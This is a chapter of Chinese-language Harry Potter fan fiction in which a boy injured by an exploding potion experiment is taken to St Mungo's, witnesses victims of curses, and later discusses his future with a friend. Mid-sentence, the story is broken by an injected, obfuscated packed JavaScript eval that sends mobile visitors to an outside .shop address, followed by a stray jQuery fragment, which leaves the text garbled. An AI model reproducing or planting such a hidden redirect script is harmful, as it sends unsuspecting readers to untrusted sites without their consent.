1994年，七月。
霍格莫德的午后阳光从西边斜斜地照过来。
阿尔伯特蹲在那块光斑旁边，面前搁着一只小坩埚。铜质的，二号标准尺寸，锅底被火焰烧过太多次，已经泛出一层暗沉的、不均匀的深褐色。锅里的液体正在微微翻滚，表面浮着一层极薄的银白色光膜。他把火调小了一些，火焰从橙红色缩成蓝紫色，贴着锅底舔了两下，又稳住了。
这是他这个夏天做的第十五组实验。
他想做的东西，他自己也说不清楚该叫什么。上个月他翻到一本旧书——从拉文克劳公共休息室那个小书库里翻出来的，封面上没有书名，书脊上的烫金字已经模糊得只剩几个笔画——里面提到一种概念：用魔药作为载体，把变形术的“改写”效果暂时性地“储存”在液体里，等需要的时候再释放出来。书里只有三页提到了这个概念，后面就断了，像是被人撕掉了。
阿尔伯特花了三个星期把那个概念拆开又拼上，自己推导了一套可能的配方框架。他选了月长石粉末作为基础载体——这东西对魔力变化的敏感度足够高，价格又不贵，炸了也不心疼——然后往里面加了微量银粉作为稳定剂，再加了半勺独角兽尾毛磨的细粉作为柔性缓冲。
前十四组实验的结果都不算差。有两次他成功让药液在静置状态下产生了轻微的变形效应——他把一片干枯的梧桐叶放进药液里，拿出来的时候叶脉变成了银色的，摸上去像金属丝。那片叶子现在还夹在他的笔记本里，边缘的银色已经开始氧化发暗，但叶脉的形态没有变回去。
第十五组，他想试试温度梯度。
他在坩埚底部用了一个加热咒，同时在锅口上方悬了一个降温咒。两个咒语同时作用，理论上应该能让锅里的药液形成上下分层的温度差——底层热，顶层冷——中间会形成一个温度过渡带。他想看看在温度过渡带的位置，药液的性质会不会出现什么变化。
他调整了降温咒的输出强度，让冷气贴着液面慢慢往下压。
锅里的药液表面开始出现细密的波纹，从锅沿往中心聚拢。银白色的光膜在波纹的推动下碎成几片，又聚拢，又碎开。
“差不多了。”阿尔伯特自言自语。他拿起一根搅拌棒，小心地探进锅里，准备搅拌一下看看底层的温度分布。
刚碰到液面——
“砰。”
锅里的银白色液体猛地炸开，从锅口喷出一股黏稠的、灰白色的泡沫，像被剧烈摇晃过的奶油。泡沫在空中膨大了一圈，然后塌下来，溅了阿尔伯特一前襟，还有一小片落在了他左前臂上。
阿尔伯特往后退了半步，低头看了看自己的袖子。他今天穿的是一件深灰色的短袖衬衫，袖口已经被烧穿了一个洞，边缘焦黑卷曲。袖子底下那片皮肤上沾着一层薄薄的灰白色膏状物——大概是从锅里溅出来的那团东西，已经不热了，贴着皮肤像一层凉掉的稀泥。
他用右手把那层膏状物抹掉了。皮肤露出来，底下是一块大约两根手指宽度的灰白色区域。
没有破皮，没有红肿，没有灼伤的痕迹。那片皮肤只是变成了灰白色。他伸手摸了摸，指腹贴上去的时候，感觉像在摸一块蜡——光滑的，没有纹理的，微微发凉的。他用指甲轻轻掐了一下，没有感觉。不疼，不痒，什么感觉都没有。
阿尔伯特盯着那片灰白色的皮肤看了几秒。他抬起右手，把魔杖尖对准那片区域，念了一个他常用的检测咒。杖尖亮了一下，又灭了。什么反应也没有。他又试了一个清洁咒，杖尖扫过皮肤表面，灰白色纹丝不动。他把魔杖收起来，用右手食指按在那片灰白色的边缘，在脑子里“想”了一下——用那种他小时候就会的、让东西按他想的路径移动的方式——让那片灰白色“回去”。什么都没有发生。那片灰白色的边界纹丝不动。
他又低头看了一眼。灰白色的边缘正在往外扩散。慢，但确实在动——刚才还只有两根手指宽度的面积，现在已经快有三根手指宽了。边缘的轮廓模糊而均匀。
阿尔伯特站起来。他走到后院的水龙头旁边，拧开，把冷水浇在左前臂上。水流过那片灰白色的区域，没有带走任何东西。他关了水龙头，甩了甩手上的水，又低头看了一遍。灰白色还在。边缘又往外扩了一点。
阿尔伯特推开酒吧后门，走了进去。
大厅里很安静。今天酒吧不开门——周三是阿不思定的休息日，大厅比平时暗一些。
阿不福思站在吧台后面。他正低着头，用一块白布擦一只玻璃杯，杯壁在他手里转了一圈又一圈。听到脚步声，他抬起眼。
目光落在阿尔伯特左前臂上那片灰白色的时候，他的手指停住了。
布还搭在杯沿上，没有动。
“怎么回事。”
阿尔伯特走到吧台前面，把左臂伸过去，掌心朝上。“坩埚炸了。溅到了一点。”
阿不福思把杯子放下，绕过吧台走过来。他伸手托住阿尔伯特的手腕，把那片灰白色凑到窗边的光线下看。他的手指粗糙，指腹上布满硬茧，贴在他手腕内侧的皮肤上时能感觉到那种粗粝的触感。他看了一会儿，用拇指在那片灰白色的边缘按了一下，又松开。
“疼吗？”
“不疼。什么感觉都没有。”
阿不福思松开他的手腕。他没有说话，转身走到壁炉前面，伸手从壁炉台上拿起一只锡罐。罐子不大，边角已经磕出了几道凹痕。他拧开盖子，从里面捏了一小撮闪亮的粉末，撒进壁炉里。
火焰“轰”的一声蹿起来，从橙红色变成了翠绿色，比平时高出一大截，热浪扑在阿尔伯特的脸上，干燥而滚烫。
“走。”阿不福思说。
他没有等阿尔伯特回答。他伸手按了一下阿尔伯特的肩膀，自己先迈进了那团翠绿色的火焰里。
“圣芒戈。”
阿尔伯特跟在他身后，跨进火焰。
翠绿色的火舌从四面八方裹上来。他被温暖包裹着，火焰从皮肤表面流过，然后“呼”的一声，整个人被一股力量猛地拽走了。脚底离了地，身体开始旋转。壁炉的轮廓在眼前一闪而过——砖缝、灰痕、壁炉台上那只锡罐——然后一切都被拉长了，变成一道道模糊的光线。
翠绿色的火焰在他身后“噗”的一声熄灭了。他睁开眼，发现自己站在一个壁炉前面——比猪头酒吧的壁炉大了将近一倍，炉膛深阔。壁炉台是深色石料的，上面摆着一只锡质的小罐子，罐身上刻着“飞路粉——请自取”几个字。
阿不福思已经等着他了。
他们站在一个房间里。房间不大，四面墙壁是深色的木板，门框上方的铜牌刻着“飞路网接待室”几个字。阿不福思推开那扇门，走了出去。阿尔伯特跟在他身后。
门外的走廊比接待室亮。墙壁是浅绿色的，地面铺着深色的瓷砖，在头顶的灯光下泛着一层温润的暗光。空气中飘着一股淡淡的消毒水气味——和麻瓜医院里那种气味很像，但更淡一些，混着一点草药的味道。
走廊尽头是一扇玻璃门。透过玻璃能看到外面的大厅——比走廊宽阔得多，天花板很高，几排深色的长椅排列在大厅中央，有的人坐着，有的人站着，有的人正低头看手里攥着的羊皮纸。大厅左侧的墙上挂着一块巨大的指示牌，上面用金色的字标着楼层和科室的名称。右侧是一张长长的木桌，桌面上摊着几本厚册子，桌后坐着一个胖胖的金发女巫。
阿不福思推开玻璃门，走了进去。
大厅里的声音涌上来——低沉的说话声、脚步声、偶尔传来的咳嗽声，混成一片持续的、嗡嗡的声浪。阿尔伯特跟在阿不福思身后，穿过大厅，走向那张长桌。
桌后的金发女巫抬起头来。她穿着一件浅绿色的长袍——阿尔伯特注意到那颜色比治疗师穿的石灰绿要浅一些，大概是接待人员的制服。她的脸上带着一种熟练的、不冷不热的微笑。
“您好。请问——”
“挂号。”阿不福思说。他的声音比平时低一些，带着一种不太想多说话的意味。“他需要看诊。”
金发女巫的目光从阿不福思脸上移到阿尔伯特身上，又移到他左前臂上那片灰白色。她的目光在那里停了一瞬，然后她低下头，翻开面前那本厚册子，拿起一支羽毛笔。
“姓名？”
“阿尔伯特·霍恩。”
“年龄？”
“十四。”
“监护人姓名？”
阿不福思顿了一下。“阿不福思·邓布利多。”
金发女巫的笔尖停住了。她抬起头，看了阿不福思一眼，又看了阿尔伯特一眼，目光在两个人脸上各自停了一拍。她的视线在阿尔伯特那双蓝色的眼睛上多留了片刻，然后移到阿不福思脸上——阿不福思那双蓝色的眼睛在灯光下泛着一层暗沉的光。她又低下头，看了一眼自己刚才写下的那个姓氏。
“与被监护人的关系？”
“外曾祖父。”
金发女巫又看了他们一眼。她的嘴唇动了一下，像是想说什么，但最终只是低下头，在册子上写了一行字。
“什么症状？”她问。
阿尔伯特把左臂抬起来，放在桌面上。“坩埚爆炸。药液溅到手臂上，皮肤变成了灰白色，没有知觉，而且在扩散。”
金发女巫低头看了看那片灰白色的区域，又抬头看了他一眼。“去一楼。器物事故科。”她伸手从桌角撕下一张窄长的羊皮纸，在上面写了一行字，递给阿尔伯特。“拿着这个去走廊尽头，坐升降梯下一楼。到了之后把这张纸给前台的治疗师。”
阿尔伯特接过羊皮纸。纸面是浅黄色的，边角裁得不太整齐，上面用深蓝色的墨水写着几个字——“器物事故科，转诊”。底下盖着一个圆形的章，章上的图案是一根魔杖和一根骨头交叉在一起。
“谢谢。”他说。
金发女巫点了一下头，目光在他脸上又停了一瞬，然后低下头，翻开了下一本册子。
阿尔伯特转身。阿不福思站在他身后两步远的位置，两只手垂在身体两侧，目光正落在大厅左侧那块巨大的楼层指示牌上。阿尔伯特顺着他的目光看了一眼——指示牌上用金色的字排着几行：
一楼——器物事故科
二楼——生物伤害科
三楼——奇异病菌感染科
四楼——药剂和植物中毒科
五楼——魔咒伤害科
六楼——访客茶室及商店
阿尔伯特把目光收回来。“走吧。”他说。
升降梯在走廊尽头。门是铁质的，表面漆成深绿色，边角有一块漆面剥落了，露出底下灰白色的金属。阿尔伯特拉开门，走了进去，阿不福思跟在他身后。门合上了，发出一声沉闷的“咔嗒”。
升降梯往下沉。失重感持续了大约三四秒。门向两侧滑开，露出另一条走廊——比楼上窄一些，墙壁也是浅绿色的，但灯光更亮。走廊两侧有几扇门，门框上方的铜牌依次标着数字。走廊尽头是一扇敞开的门，门框上方挂着一块木牌，上面写着“器物事故科——接诊处”。
阿尔伯特走进去。
房间不大。一张深色的木桌靠墙摆着，桌面上摊着一本翻开的厚册子和几支羽毛笔。桌后坐着一个穿石灰绿色长袍的治疗师，看起来三十岁出头，深棕色的头发，圆脸，正低头在册子上写着什么。听到脚步声，他抬起头来。
“你好。”阿尔伯特把手里的羊皮纸放在桌面上。“接待处让我过来的。”
治疗师拿起羊皮纸看了看，又放下。他的目光移到阿尔伯特的左臂上，在那片灰白色的区域停了一拍。“怎么回事？”
“我在做魔药实验。配方是自己推导的——月长石粉末做基础载体，加微量银粉稳定，再加独角兽尾毛粉做柔性缓冲。我想试试温度梯度对药液性质的影响，就在坩埚底部用了加热咒，同时在锅口上方悬了降温咒。玻璃棒探进去的时候，药液炸了。”
治疗师听着，没有打断。他的手指在桌面上轻轻敲了两下，然后站起来，绕过桌子。“手伸出来。”
阿尔伯特把左臂伸直。治疗师弯下腰，凑近了看那片灰白色。他从口袋里掏出一根细长的银质探针，用尖端轻轻碰了碰灰白色区域的中心，又碰了碰边缘。探针接触到皮肤的时候，阿尔伯特没有任何感觉。
“多久了？”
“大概——”阿尔伯特想了想，“四十分钟。可能不到。”
治疗师直起身来，把探针收进口袋。“不是大问题。”他说，“药液共生反应。比较罕见，但不算严重。”
阿尔伯特看着他。“共生反应？”
“你的配方里，月长石粉末和银粉在温度梯度的作用下产生了一种临时的复合结构。这种结构在炸开的时候附着在皮肤表面，和你的表皮组织形成了某种——怎么说——共生关系。它没有破坏你的皮肤，但它暂时取代了皮肤的正常功能。所以那块区域没有知觉，颜色变了，边缘在扩散。”
“它会一直扩散？”
“不会。”治疗师转身走到靠墙的柜子前面，拉开抽屉，从里面取出一只小瓷罐。罐子是白色的，边角有一圈深蓝色的花纹。他拧开盖子，里面是淡绿色的膏体，散发出一股淡淡的、像薄荷和某种草药混合的气味。“每天涂一次，涂在灰白色区域的边缘，往外扩出一圈。三天之后它会自己脱落。如果三天后还没有好转，再来。”
阿尔伯特接过瓷罐。罐身是凉的，贴在他的掌心里。“我能问一下——这个反应具体是怎么发生的？那个复合结构和皮肤组织之间——”
治疗师看了他一眼。那一眼很短，但阿尔伯特注意到他的眉毛微微动了一下，像是对这个问题感到意外。
“你几年级？”
“开学四年级。”
治疗师又看了他一眼。他把手插进长袍的口袋里，靠在椅背上。
阿尔伯特没有说话。
“具体机制，”治疗师说，“简单来说，月长石粉末在温度梯度的作用下形成了一种介孔结构——你可以把它理解成一种极细的、像海绵一样的网格。银粉填充在网格的孔隙里，起到稳定作用。独角兽尾毛粉作为柔性缓冲，让这个结构在接触皮肤的时候不会产生剧烈的排异反应。药液炸开之后，这个复合结构附着在皮肤表面，和表皮的角质层发生了物理嵌合。”
他停了一下，看了阿尔伯特一眼。“你的配方本身没有问题。问题在于温度梯度的控制——底层热、顶层冷，中间过渡带太窄了。药液在过渡带的位置产生了局部过饱和，压力积累到一定程度就炸了。下次做类似实验的时候，把降温咒的输出调低一些，让过渡带拉宽。”
阿尔伯特点了点头。他把那些信息在脑子里过了一遍，记住了每一个细节。“谢谢。”
治疗师摆了摆手。“去药房拿药。出门左转走到头，右手边。”
阿尔伯特转身往外走。阿不福思站在门口，背靠着门框，两只胳膊交叠在胸前。他看了阿尔伯特一眼，又看了一眼他手里那只瓷罐，然后直起身来，朝走廊左端偏了一下头。
“走吧。”
药房在走廊尽头。窗口后面坐着一个穿浅绿色长袍的年轻女人，接过阿尔伯特手里的处方单——治疗师刚才在上面写了几行字——看了一眼，转身从身后的架子上拿下一只深棕色的小玻璃瓶，放在柜台上。
“每天一次，涂在边缘。”她说。
阿尔伯特接过瓶子。瓶身是凉的，里面装着淡绿色的膏体，和刚才那只瓷罐里的看起来一样。他把瓶子揣进口袋里，转身往回走。
刚走了两步，他听到旁边传来一个声音。
“——真的没有办法了吗？”
那声音很轻，带着一种压着颤抖的、努力想让语调保持平稳的吃力。阿尔伯特的脚步慢了下来。
他偏过头。等候区靠墙的长椅上，坐着一个老妇人。她穿着一件深灰色的外套，头发花白，在脑后盘成一个松散的髻，几缕碎发贴在脸颊边上。她正仰着脸，看着站在她面前的一个治疗师——一个高个子、戴着圆框眼镜的男治疗师，手里拿着写字板，表情绷着。
“夫人，”治疗师说，他的声音很低，“我们尽力了。他的身体机能没有问题，但是灵魂和神经的损伤是不可逆的。三发钻心剜骨，持续性的，加上夺魂咒——”
老妇人的手指攥紧了膝盖上的布料。她的指节发白，手背上的皮肤薄而松弛，青色的血管在皮肤底下隐约可见。
“——损伤已经造成了。”治疗师的声音更低了，“目前的医疗手段没有办法逆转。我们会给他安排长期的护理，保证他的身体不会出问题。但是精神上的损伤，我们——”
他没有说完。
老妇人坐在那里，低着头，手指还攥着膝盖上的布料。她的肩膀在微微发抖，但没有发出声音。过了好一会儿，她松开了手指，布料上留下几道深深的褶皱。她站起来，动作很慢，一只手撑着椅背借力，站稳了。
“谢谢。”她说。声音很轻。
她转过身，朝走廊另一端走去。步子不快，背微微佝偻着，深灰色的外套下摆在她身后轻轻晃动。阿尔伯特站在药房窗口旁边，看着她一步一步走远，拐过走廊拐角，消失了。
治疗师还站在那张长椅旁边，低头看着手里的写字板。他的嘴唇抿着，圆框眼镜后面的目光落在纸面上，但没有在聚焦。他的手指在写字板的边沿上攥了一下，又松开了。
阿尔伯特把目光收回来。
他刚转过身，大厅另一端忽然传来一阵急促的声响——脚步声，重而乱的，还有什么东西撞到金属表面的“哐当”一声。
他抬起头。
两个人影从走廊另一端冲了进来。一前一后，前面的那个几乎是摔进来的——膝盖先着地，整个人往前扑倒，肩膀磕在地砖上发出沉闷的响声。他侧着身子倒下去的时候，左臂以一种不正常的角度甩了一下，从肩膀往下大约一半的位置空空荡荡的。
袖子是空的。从肘弯往下什么都没有，断口处深色的布料被血浸透了，贴在被切断的残肢上，血顺着袖口的边缘往下滴，在浅色的地砖上砸出一朵朵暗红色的花。
他嘴里呕了一口血，暗红色的，混着唾液，从下巴流到脖子上，又流到领口。
“救人！”后面那个人喊了一声。他的脸色苍白，右臂上也有一道深长的伤口，从肩膀一直划到肘弯，皮肉翻卷着，血正从伤口里往外渗。他单膝跪在地上，一只手按着前面那个人的后背，另一只手还攥着魔杖，杖尖对着走廊的方向，像是刚从什么危险的地方撤出来。
大厅里安静了一瞬，但又被瞬间打破了——脚步声从四面八方涌过来，几个穿石灰绿色长袍的治疗师从走廊两侧跑出来，有人蹲下检查伤者的状况，有人挥手让人群散开，有人已经举起了魔杖。
“担架！”
“止血咒先上——”
“他的手臂——断口在肩膀——”
声音混在一起，急促的、压低的、带着一种熟练的紧张。伤者被翻了过来，他的脸露出来——年轻，大概二十岁出头，嘴唇苍白，眼睛半睁着，瞳孔有些涣散。他的左肩处缠着一条深色的止血带，已经被血浸透了，血还在从带子边缘往外渗。
两个治疗师合力把他抬上一张凭空出现的担架。担架升起来，悬浮在半空中，被推着往走廊深处移动。伤者的手臂垂在担
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786436|210180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
架边缘，断口处的布料被血粘在皮肤上，随着担架的移动轻轻晃了一下。
那个同事踉跄着跟在担架后面走了几步，忽然停住了。他弯下腰，一只手撑着膝盖，另一只手捂着右臂上的伤口，血从他的指缝里渗出来，一滴一滴地落在浅色的地砖上。
一个治疗师走过来扶住了他。“你也受伤了，跟我来。”
他点了点头，跟着治疗师往另一个方向走去。
大厅重新安静下来。
阿尔伯特站在药房窗口旁边，看着地上那摊血迹。暗红色的，在浅色的地砖上洇开了一大片，边缘已经开始发暗，有几滴溅到了旁边的长椅腿上，顺着铁质的椅腿往下滑了一小段，停住了。
几枚凌乱的血脚印从走廊口一直延伸到大厅中央，深浅不一，有的完整，有的只有半个脚掌的轮廓，边缘模糊。最深的那一枚印在地砖上，脚掌的位置有一团暗红色的淤积，大概是站定的时候流下来的血在鞋底周围积了一小洼。
阿尔伯特盯着那摊血迹。
他的手指攥紧了。指节泛白，指甲陷进掌心里，隔着皮肤能感觉到那种微微的刺痛。他站在那摊血迹前面，没有动，目光钉在那团暗红色的、正在慢慢变干的液体上。
他想起刚才那个老妇人。她站起来的时候动作很慢，一只手撑着椅背借力。她转过走廊拐角的时候，背影微微佝偻着。
他想起刚才那个年轻的傲罗。他被翻过来的时候脸是苍白的，嘴唇是苍白的，瞳孔是涣散的。他的左臂从肩膀以下就没有了。
一股难以名状的愤怒和无力感。
大厅里的声音重新涌上来——低沉的说话声、脚步声、远处传来轮子碾过地面的声响——但那些声音像是隔着一层什么东西传过来的，模糊的，发闷的。他能听到自己的心跳，在耳朵里，咚咚咚的，一下一下，又重又慢。
阿不福思站在他身后两步远的位置。他没有说话，没有催他。他只是站在那里，两只手垂在身体两侧，目光落在阿尔伯特的背影上。
过了很久——阿尔伯特不知道具体过了多久，可能是几分钟，也可能更久——他松开了攥紧的手指。指节从白色慢慢恢复了正常的肤色，掌心里留下几道浅浅的指甲印。他低头看了一眼自己的手，又抬起头，看了一眼地上那摊已经半干的、边缘开始发暗的血迹。
“走吧。”他说。声音比他自己预想的要哑一些。
他转过身，往升降梯的方向走去。阿不福思跟在他身后，两个人之间隔着大约两步的距离。
升降梯的门合上了。失重感持续了几秒，然后门重新滑开，露出楼上的候诊大厅。阿尔伯特穿过大厅，推开那扇玻璃门，沿着走廊往回走，推开飞路网接待室的门，走到壁炉前面。
阿不福思从他身后走过来，伸手从壁炉台上那只锡罐里捏了一撮飞路粉，撒进壁炉里。火焰“轰”的一声蹿起来，从橙红色变成了翠绿色。
“猪头酒吧。”阿不福思说。
他先迈了进去。阿尔伯特跟在后面。
翠绿色的火舌裹上来，熟悉的温暖，熟悉的旋转。
---
猪头酒吧的大厅。壁炉里的火已经熄了，只剩下暗红色的余烬在灰堆里微微泛着光。窗户外面天色暗了一些，午后的阳光已经偏西了，在地板上切出一块倾斜的、暖黄色的光斑。
阿尔伯特从壁炉里走出来，站在大厅中央。他低头看了一眼手臂上的绷带，又抬起头，目光落在吧台后面那面镜子上——镜子里映出他自己的脸，表情是平的。
“你饿不饿。”阿不福思说。他的声音从吧台后面传过来。
阿尔伯特沉默了一会儿。“不饿。”
阿不福思没有再说话。他把那只杯子擦完，放回架子上，又拿起另一只。
阿尔伯特转身，往楼梯口走去。
“我上去了。”
“嗯。”
他沿着楼梯往上走。木头台阶在脚底下发出嘎吱嘎吱的响声，和平时一样。他推开起居室的门，走进去，把门在身后关上了。
窗外的天色正在变暗。灰蓝色的光从窗户外面透进来，在桌面上切出一块模糊的、边缘发暗的光斑。彗星蹲在窗台上的栖木上，缩着脖子，脑袋埋在翅膀底下。那只小渡鸦已经长大了，赖着不走——阿尔伯特给它取名叫“煤球”——蹲在彗星旁边，黑色的羽毛在暮色里泛着一层暗沉的光。它看到阿尔伯特走进来，歪了歪头，用喙轻轻啄了一下窗台的木头。
阿尔伯特走到书桌前坐下。他把深棕色的玻璃瓶从口袋里掏出来，放在桌面上，又拿出那只瓷罐，并排放在一起。然后他靠在椅背上，看着窗外的暮色。
窗外最后一缕天光正在消失。远处的禁林变成了一片模糊的深色轮廓，黑湖的水面在暮色里泛着一层暗沉的、银灰色的光。星星开始出现在天幕上，一颗，两颗，三颗，慢慢地多起来。
阿尔伯特坐在窗前，看着那些星星亮起来。
他没有动。窗台上的煤球歪了歪头，又啄了一下窗台的木头。彗星从翅膀底下抽出脑袋来，看了阿尔伯特一眼，又埋回去了。
---
阿尔伯特把胳膊枕在脑袋底下，望着天。天空依旧是纯净的蓝，没有云，也没有风。
他听到脚步声从坡顶的方向传过来。
“土拨鼠！我就知道你在这。”
艾玛在他旁边蹲下来，低头看了他一眼。她的影子罩在他脸上，把阳光挡住了。“你手臂怎么了？”
阿尔伯特睁开一只眼。艾玛正盯着他左前臂上那片还没完全消退的淡粉色区域——边缘已经模糊了，和周围肤色的过渡变得柔和，但还能看出来和正常皮肤不太一样。
“实验出了意外。”他说。
艾玛在他旁边坐下来，两条腿伸直了，双手撑在身后的草地上。“什么实验？”
“魔药。温度梯度。坩埚炸了。”
“严重吗？”
“不严重。涂了药，快好了。”
艾玛看了他一眼。她没说话，但阿尔伯特能感觉到她的目光在他脸上停了一下，又移开了。她伸手扯了一根草茎，叼在嘴里，望着天。
过了一会儿，阿尔伯特从口袋里掏出一本书，翻开，盖在脸上挡光。封面是深蓝色的，边角已经磨得发白，书脊上的烫金字迹模糊得几乎看不清——古代如尼文入门。
艾玛凑过来看了一眼。“如尼文？你的选修课吧”
“嗯。”
“我选了占卜和神奇动物。”艾玛说，“如尼文太无聊了。一堆符号，看都看不懂。”
“那倒是合适。”
艾玛伸手拍了一下他的肩膀。“你什么意思？”
阿尔伯特的声音从书页里传出来，闷闷的。“你适合神奇动物。占卜也适合你。”
“占卜怎么适合我了？”
“你直觉准。”
艾玛把手收回去，重新靠回草地上。她又叼起那根草茎，嚼了两下，吐掉。“你以后最想做什么？”
阿尔伯特没有立刻回答。
这个问题他最近想过很多次。在圣芒戈那天之后，他想得更多了。他想过治疗师——把那些受了伤的人治好，让那个老妇人的儿子重新站起来，让那个年轻的傲罗的手臂重新长出来。他想过傲罗——把那些施咒的人抓起来，让他们不能再对别人施咒。他想过魔药学者——做出更好的药，更快的药，能治好那些现在治不好的伤的药。
但他知道得太多。他知道治疗师治不好钻心剜骨造成的神经损伤。他知道傲罗也会受伤，也会倒在医院的地板上，血从断口处往外渗。他知道一瓶药水需要几个月甚至几年才能从配方变成成品，而在这几个月里，会有更多的人受伤。
想把一切都做到，又知道现在什么都做不到。
那种无力感，和愤怒。
“我不知道。”他说。
艾玛偏过头看了他一眼。他躺在她旁边，书拉到胸口上，目光落在头顶那片蓝色的天空上。他没什么表情，但艾玛认识他够久了。
“你那天从圣芒戈回来之后就不太对劲。”艾玛说，“下午都没吃饭。阿不福思说你把自己关在房间里。”
阿尔伯特没有回答。
艾玛没有追问。她又扯了一根草茎叼在嘴里，嚼了两下，吐掉。然后她开口了，声音比刚才低了一些。
“我想当治疗师。”
阿尔伯特偏过头看了她一眼。
“我认真的，”艾玛说，“我想当治疗师。把那些受伤的人治好。没人治得好，不代表永远治不好。”
她说完之后安静了一会儿，然后补了一句：“反正我是这么想的。”
阿尔伯特躺在草地上，看着头顶那片蓝色的天空。风从山坡那边吹过来，温温的，带着干草和泥土的气味。远处传来一声鸟叫，短促的，又安静了。
“你会的。”他说。
艾玛偏过头看了他一眼。“那你呢？你想做什么？”
阿尔伯特没有立刻回答。他又想了一会儿，然后开口了。
“我不知道具体做什么。”他说，“但我想做点有用的。”
艾玛看着他。
“不是那种——功成名就的有用。”阿尔伯特说，“是真正有用的。能帮到人的。能让那些事情少发生一些的。”
他说完之后自己也觉得说得不太清楚。但艾玛没有追问。
她重新躺回草地上，望着天。“那你慢慢想。你才十四岁，又那么聪明，总会有结果的。”
风从山坡那边吹过来，把书页的一角吹起来，又落下去。远处的禁林在午后的阳光里泛着一层深绿色的、安静的光。